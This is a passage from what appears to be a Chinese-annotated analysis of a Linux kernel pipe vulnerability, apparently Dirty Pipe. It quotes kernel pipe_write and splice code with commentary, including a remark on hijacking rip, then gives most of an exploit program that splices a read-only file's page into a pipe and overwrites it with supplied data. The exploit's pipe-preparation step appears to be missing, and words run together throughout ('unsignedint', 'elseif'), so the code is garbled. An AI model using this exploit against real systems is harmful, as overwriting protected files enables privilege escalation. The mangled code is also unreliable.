__pipe_lock(pipe); //没有读者就直接退出,默认创建都有一个读者和一个写者 if (!pipe->readers) { send_sig(SIGPIPE, current, 0); ret = -EPIPE; goto out; } ... head = pipe->head; was_empty = pipe_empty(head, pipe->tail); chars = total_len & (PAGE_SIZE-1); //判断缓冲区不为空 if (chars && !was_empty) { unsignedint mask = pipe->ring_size - 1; //取最新写过的buf structpipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; int offset = buf->offset + buf->len; //判断buf是否支持merge操作且大小合适,如果可以就直接接着这个buf末尾写入内容。 if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { //一般劫持可以利用这里劫持rip,通常情况下confirm为空 ret = pipe_buf_confirm(pipe, buf); if (ret) goto out; //写入 ret = copy_page_from_iter(buf->page, offset, chars, from); if (unlikely(ret < chars)) { ret = -EFAULT; goto out; }
buf->len += ret; if (!iov_iter_count(from)) goto out; } }
for (;;) { if (!pipe->readers) { send_sig(SIGPIPE, current, 0); if (!ret) ret = -EPIPE; break; }
head = pipe->head; //循环列表没满就添加新buf if (!pipe_full(head, pipe->tail, pipe->max_usage)) { unsignedint mask = pipe->ring_size - 1; structpipe_buffer *buf = &pipe->bufs[head & mask]; structpage *page = pipe->tmp_page; int copied;
if (!page) { page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT); if (unlikely(!page)) { ret = ret ? : -ENOMEM; break; } pipe->tmp_page = page; }
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head; //满了就接着循环等待空位 if (pipe_full(head, pipe->tail, pipe->max_usage)) { spin_unlock_irq(&pipe->rd_wait.lock); continue; }
pipe->head = head + 1; spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */ buf = &pipe->bufs[head & mask]; buf->page = page; buf->ops = &anon_pipe_buf_ops; buf->offset = 0; buf->len = 0; //当filp->flags&O_DIRECT==0时即可设置为PIPE_BUF_FLAG_CAN_MERGE if (is_packetized(filp)) buf->flags = PIPE_BUF_FLAG_PACKET; else buf->flags = PIPE_BUF_FLAG_CAN_MERGE; pipe->tmp_page = NULL; //循环写入 copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) { if (!ret) ret = -EFAULT; break; } ret += copied; buf->offset = 0; buf->len = copied;
if (!iov_iter_count(from)) break; }
if (!pipe_full(head, pipe->tail, pipe->max_usage)) continue;
/* Wait for buffer space to become available. */ if (filp->f_flags & O_NONBLOCK) { if (!ret) ret = -EAGAIN; break; } if (signal_pending(current)) { if (!ret) ret = -ERESTARTSYS; break; }
/* * We're going to release the pipe lock and wait for more * space. We wake up any readers if necessary, and then * after waiting we need to re-check whether the pipe * become empty while we dropped the lock. */ __pipe_unlock(pipe); ... return ret; }
/* Don't try to read more the pipe has space for. */ //保证len不超过pipe的剩余空间大小 p_space = pipe->max_usage - pipe_occupancy(pipe->head, pipe->tail); len = min_t(size_t, len, p_space << PAGE_SHIFT); ret = rw_verify_area(READ, in, ppos, len); if (unlikely(ret < 0)) return ret;
if (unlikely(len > MAX_RW_COUNT)) len = MAX_RW_COUNT; //对于ext4文件调用的就是ext4_file_read_iter if (unlikely(!in->f_op->splice_read)) return warn_unsupported(in, "read"); return in->f_op->splice_read(in, ppos, pipe, len, flags); }
rcu_read_lock(); //循环取出page链表中的每一个符合要求的page for (head = xas_load(&xas); head; head = xas_next(&xas)) { if (xas_retry(&xas, head)) continue; if (xas.xa_index > max || xa_is_value(head)) break; //增加page的refcount,防止被释放 if (!page_cache_get_speculative(head)) goto retry;
/* Has the page moved or been split? */ if (unlikely(head != xas_reload(&xas)))//防止在取出的时候page发生了修改,二次确认 goto put_page; //往pvec中放入page if (!pagevec_add(pvec, head)) break; if (!PageUptodate(head))//更新page状态 break; if (PageReadahead(head)) break; xas.xa_index = head->index + thp_nr_pages(head) - 1; xas.xa_offset = (xas.xa_index >> xas.xa_shift) & XA_CHUNK_MASK; continue; put_page://释放 put_page(head); retry: xas_reset(&xas); } rcu_read_unlock(); }
intmain(int argc, char **argv, char **envp) { long page_size; size_t offset_in_file; size_t data_size; int target_file_fd; structstattarget_file_stat; int pipe_fd[2]; int pipe_size; char *buffer; int retval;
// checking before we start to exploit if (argc < 4) { puts("[*] Usage: ./exp target_file offset_in_file data"); exit(EXIT_FAILURE); }
page_size = sysconf(_SC_PAGE_SIZE); offset_in_file = strtoul(argv[2], NULL, 0); if (offset_in_file % page_size == 0) errExit("Cannot write on the boundary of a page!");
target_file_fd = open(argv[1], O_RDONLY); if (target_file_fd < 0) errExit("Failed to open the target file!");
if (fstat(target_file_fd, &target_file_stat)) errExit("Failed to get the info of the target file!");
if (offset_in_file > target_file_stat.st_size) errExit("Offset is not in the file!");
data_size = strlen(argv[3]); if ((offset_in_file + data_size) > target_file_stat.st_size) errExit("Cannot enlarge the file!");
if (((offset_in_file % page_size) + data_size) > page_size) errExit("Cannot write accross a page!");
/* * prepare the pipe, make every pipe_buffer a MERGE flag * Just write and read through */ puts("\033[34m\033[1m[*] Setting the PIPE_BUF_FLAG_CAN_MERGE for each buffer in pipe.\033[0m"); pipe(pipe_fd); pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ); buffer = (char*) malloc(page_size);
puts("\033[32m\033[1m[+] Flag setting has been done.\033[0m");
/* * Use the splice to make the pipe_buffer->page * become the page of the file mapped, by read * a byte from the file accross the splice */ puts("\033[34m\033[1m[*] Reading a byte from the file by splice.\033[0m"); offset_in_file--; // we read a byte, so offset should minus 1 retval = splice(target_file_fd, &offset_in_file, pipe_fd[1], NULL, 1, 0); if (retval < 0) errExit("splice failed!"); elseif (retval == 0) errExit("short splice!"); puts("\033[32m\033[1m[+] File splice done.\033[0m");
/* * Now it comes to the time of exploit: * the mapped page of file has been in pipe_buffer, * and the PIPE_BUF_FLAG_CAN_MERGE is still set, * just a simple write can make the exploit. */ retval = write(pipe_fd[1], argv[3], data_size); if (retval < 0) errExit("Write failed!"); elseif (retval < data_size) errExit("Short write!");